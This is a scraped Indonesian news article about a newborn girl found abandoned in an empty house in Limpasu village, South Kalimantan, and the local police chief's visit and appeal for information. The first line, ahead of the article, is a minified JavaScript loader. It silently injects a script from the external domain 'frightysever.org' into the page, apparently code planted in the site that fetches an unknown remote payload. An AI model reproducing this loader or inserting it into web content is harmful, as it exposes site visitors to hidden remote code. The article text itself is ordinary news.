(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BARABAI, Warga Desa Limpasu, Kecamatan Limpasu, Kabupaten HST digegerkan penemuan bayi perempuan di sebuah kamar mandi sebuah rumah tidak berpenghuni, Selasa (4/4) malam sekitar pukul 23.00 Wita.
Penemuan bayi malang, bermula saat Julaiha, warga Desa Limpasu RT 07 RW 04 mendengar ada tangisan bayi berasal dari sebelah rumahnya. Rumah tersebut diketahui milik Mawardi, namun rumah tersebut dalam keadaan kosong karena ditinggal pemiliknya bekerja ke Kaltim. Julaiha, memberitahu kepada ayahnya Sugianor. Kemudian ayah dan anak ini memberitahu hal tersebut kepada warga, namun warga tidak berani langsung masuk ke rumah kosong tersebut.
Warga pun berinisiatif mendatangi anak pemilik rumah kosong tersebut bernama Nita Ariani yang tidur di rumah kakeknya. Baru sekitar pukul 00.00 Wita, setelah Nita Ariani dengan ditemani kakeknya datang dan membukakan pintu rumah depan dan masuk ke dalam rumah bersama warga, ditemukanlah seorang bayi perempuan yang baru lahir dalam keadaan dibungkus dengan selimut dan tali pusar masih belum dipotong.
Selanjutnya warga melaporkan kepada Kepala Desa Limpasu. Oleh Kepala Desa beserta anggota Polsek Limpasu langsung mendatangi TKP dan segera memanggil bidan bernama Ida Nurliani, warga Desa Abung RT 08 RW 03 Kecamatan Limpasu, Kabupaten HST untuk melakukan pertolongan medis. Setelah selesai dilakukan pertolongan ternyata bayi tersebut dalam keadaan sehat, kemudian sekitar pukul 02.20 Wita bayi tersebut dibawa ke Puskesmas Limpasu dimasukkan ke incubator.
Mendapat kabar tersebut, Kapolres HST AKBP Sabana Atmojo SIK MH langsung meluncur ke Desa Limpasu melihat kondisi bayi terlantar tersebut, didampingi Kasat Reskrim AKP Ismat Wahyudi dan Kapolsek Limpasu serta beberapa anggota Polwan.
Saat Kapolres HST berkunjung, bayi ini kini tinggal di rumah Mawardi. Kapolres HST AKBP Sabana Atmojo sempat menggendong dan bercanda dengan bayi malang tersebut. AKBP Sabana juga memberikan beberapa santunan untuk membantu biaya perawatan bayi tersebut.
Kapolres HST AKBP Sabana Atmojo meminta kepada seluruh masyarakat untuk memberikan informasi kepada pihak berwenang terkait penemuan bayi tersebut.
“Saya menghimbau masyarakat memberikan informasi penting, siapa pelaku kasus ini agar dapat kita tangkap,†tegasnya.
Untuk kasus bayi dibuang itu, sudah banyak masyarakat yang mau mengadopsi bayi perempuan tersebut. (rico)
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
This website uses cookies.